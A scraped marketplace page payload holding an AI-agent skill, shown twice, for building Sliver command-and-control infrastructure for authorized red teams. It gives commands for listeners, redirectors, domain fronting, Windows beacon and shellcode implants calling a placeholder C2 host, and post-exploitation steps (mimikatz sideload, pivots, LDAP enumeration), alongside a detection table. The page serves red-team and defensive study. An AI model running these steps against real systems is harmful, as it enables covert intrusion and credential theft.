[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71F3V5079G8CSJ7AMBBFZC3":3,"skill-same:01M71F3V5079G8CSJ7AMBBFZC3":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":6,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M71F3V5079G8CSJ7AMBBFZC3","c2-sliver-harden",null,"Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware\u002Fc2\u002Fsliver\u002Fharden\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"c2 sliver harden","c2","sliver","c2 sliver","harden","Bash","listeners","content analysis","de","conversion","command","configure","cybersecurity","team","simulation","analysis","adversary-simulation","c2-framework","command-and-control","support","2026-11-10 10:12:30",false,"---\nname: c2-sliver-harden\ndescription: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- c2-framework\n- sliver\n- command-and-control\n- adversary-simulation\n- infrastructure\n- post-exploitation\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1071\n- T1071.001\n- T1547\ncapec: []\n---\n\n# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n","# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n",{"name":5,"tags":44,"capec":48,"model":49,"tools":50,"domain":31,"maxTurns":54,"nist_csf":55,"subdomain":59,"description":7,"mitre_attack":60,"d3fend_techniques":64},[45,36,21,37,35,46,47],"red-team","infrastructure","post-exploitation",[],"sonnet",[51,24,52,53],"Read","Glob","Grep",20,[56,57,58],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[61,62,63],"T1071","T1071.001","T1547",[65,66,67,68,69],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fmalware\u002Fc2\u002Fsliver\u002Fharden","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill c2-sliver-harden",{"tool":83,"command":84},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill c2-sliver-harden",{"tool":86,"command":87},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill c2-sliver-harden","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware\u002Fc2\u002Fsliver\u002Fharden\u002FSKILL.md",true,[91],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"index.json","REFERENCE","参考文档",663,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware\u002Fc2\u002Fsliver\u002Fharden\u002Findex.json",[98,122,141,162,184,200],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[105,106,107,108,109,27,110,111,112,113,114,115,116,117,118,119,120,31,121],"services","detect","services wmi persistence detect","wmi","persistence","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[129,105,130,108,131,132,133,31,24,34,32,134,135,136,27,29,137,138,139,140],"exploit","services wmi exec exploit","exec","remote","traffic","across","crackmapexec","native","lateral movement","read","lateral-movement","Impacket",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":147,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[148,149,150,151,152,153,31,24,154,34,155,156,27,138,157,158,159,160,161,49],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":168,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[106,169,170,171,172,173,174,110,175,31,121,176,177,178,179,180,181,182,183,27],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":185,"name":186,"nameZh":6,"description":187,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":188,"categories":189,"keywords":190,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[191,192,106,193,171,173,194,110,195,175,31,121,34,196,197,198,199,183,27,111],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":201,"name":202,"nameZh":6,"description":203,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":204,"categories":205,"keywords":206,"publishedAt":39},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[207,106,171,208,194,110,209,210,31,121,211,212,213,214,215,216,27,111,217,218],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]